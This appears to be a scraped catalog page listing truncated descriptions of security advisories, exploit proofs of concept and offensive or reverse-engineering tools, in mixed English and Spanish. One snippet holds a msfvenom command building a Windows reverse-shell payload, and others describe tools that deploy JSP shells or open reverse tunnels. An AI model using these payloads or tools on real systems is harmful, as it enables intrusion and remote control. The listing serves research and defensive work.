GHSA-V67P-PHPQ-FC8X Traefik entrypoint header-name sanitization bypassed via request trailers

Summary Traefik's entrypoint defenses against spoofed trusted header names — aliasHeadersStrategy / underscoreHeadersStrategy in delete or reject mode, and the default forwardedHeaders stripping of client-supplied X-Forwarded- — scan req.Header only and never req.Trailer. An unauthenticated clien...

Traefik entrypoint header-name sanitization bypassed via request trailers

Summary Traefik's entrypoint defenses against spoofed trusted header names — aliasHeadersStrategy / underscoreHeadersStrategy in delete or reject mode, and the default forwardedHeaders stripping of client-supplied X-Forwarded- — scan req.Header only and never req.Trailer. An unauthenticated clien...

CVE-2009-3999

CVE-2009-3999 Exploit de HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...

jboss-autopwn

⚠️ NOTA: Esta herramienta ya no recibe mantenimiento activo. JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com INTRODUCCIÓN Este script de JBoss despliega un shell JSP en el servidor JBoss AS de destino. Una vez desplegado, el script utiliza su capacidad de carga y ejecució...

binja_dynamics

Binary Ninja Dynamic Analysis Tools This project adds a PyQt5 frontend to the binjatron plugin for Binary Ninja, that includes highlighting features aimed at making it easier for beginners to learn about reverse engineering. Motivation The ability to reverse engineer x86 binaries is an important...

blackboxprotobuf

Blackbox Protobuf Blackbox Protobuf ahora tiene un paquete oficial en PyPi bajo el nombrebbpb. El paquete blackboxprotobuf es un fork más antiguo Descripción Blackbox Protobuf es un conjunto de herramientas para trabajar con Protocol Buffers protobuf codificados sin la definición protobuf...

binja_sensei

binjasensei Educational tools for Binary Ninja This plugin provides resources for beginners to learn reverse engineering using Binary Ninja. It automatically installs several other plugins, and provides examples that showcase the features of these plugins. Origins This project is a product of NCC...

Reverse-Ip

Reverse-Ip python 2.7 BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money : U22270614...

DriverBuddy

Quickstart DriverBuddy Installation Instructions 1. Copy DriverBuddy folder and DriverBuddy.py file into the IDA plugins folder C:\Program Files x86\IDA 6.8\plugins or wherever you installed IDA DriverBuddy Usage Instructions 1. Start IDA and open a Windows kernel driver 2. Go to Edit-Plugins and...

Fenrir

Fenrir Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Dave Spencer, david dot spencer at nccgroup dot com http://www.github.com/nccgroup/Fenrir Released under AGPL see LICENSE for more information Description Fenrir was created to prove that it is possible to...

psr

Pointer Sequence Reverser Diseñado para ayudar a un ingeniero inverso a ver fácilmente cómo una aplicación C++ de Windows está accediendo a un miembro de datos u objeto en particular. Dada la dirección de memoria de un miembro de datos u objeto, esta herramienta establecerá un breakpoint de memor...

Winstrument

Winstrument Winstrument es un framework de scripts modulares para ayudar a instrumentar software de Windows usando Frida para ingeniería inversa y análisis de superficie de ataque. Contenido Instalación Uso Estructura del Proyecto Módulos CLI Solución de problemas Derechos de autor Instalación Es...

CVE-2026-3096

CVE-2026-3096 affects multiple WSO2 products whose web portals allow external links to be opened in a new browser tab. In certain configurations, the originating window retains access to the newly opened page , enabling a reverse tabnabbing attack. An attacker can manipulate the trusted applicati...

CVE-2026-3096 Reverse Tabnabbing via New Tab Navigation in Multiple WSO2 Products Allows Phishing and Credential Theft

The product's web portals allow external links to be opened in a new browser tab. In certain configurations, the originating window retains access to the newly opened page, allowing interaction between the two browser contexts when navigating to external destinations. This vulnerability could all...

SkypeACLKeyGen.exe-analysis-for-hacking-team

Análisis de SkypeACLKeyGen.exe del hacking team Así que... ¿qué analizamos hoy? bueno, hoy analizamos un software del hacking team. ¿Va sobre Skype? ¿por qué hacemos esto? no sé, me resulta interesante. En fin, empezamos inspeccionando el comportamiento en tiempo de ejecución. Como podéis ver,...

ReverseSocks5

ReverseSocks5 Reverse SOCKS5 proxy in Golang. Usage root@kitploit: Usage of ReverseSocks5.exe: -cert string Certificate file if using TLS on the server -connect string Connect address for socks agent address:port -key string Private key file if using TLS on the server -listen string Listen addres...

CVE-Vulnerability-Research-Exploit-Analysis

CVE-Vulnerability-Research-Exploit-Analysis A structured penetration testing project researching and executing real-world CVE exploits in a controlled sandbox environment. Targets included Windows 95 and Windows XP SP3 running across a multi-machine virtual network built with VirtualBox. Exploits...

CVE-2025-55182-poc

CVE-2025-55182-poc A proof-of-concept PoC exploit for CVE-2025-55182 , targeting an unauthenticated Remote Code Execution RCE vulnerability in Next.js Server Actions. This exploit abuses prototype pollution during the deserialization of React Server Components RSC multipart payloads to inject...

firecat

firecat Para más información, consulta: http://www.bishopfox.com/resources/tools/other-free-tools/firecat/ Firecat es una herramienta de pruebas de penetración que permite abrir túneles TCP reversos hacia fuera de una red comprometida. Una vez establecido el túnel, puedes conectarte desde un host...

CVE-2025-8110

Exploit RCE en Gogs CVE-2025-8110 Prueba de concepto para CVE-2025-8110 - Ejecución Remota de Código en Gogs mediante bypass de enlace simbólico e inyección de sshCommand. Descripción Este exploit abusa de un bypass de enlace simbólico en la API de Gogs para sobrescribir .git/config e inyectar un...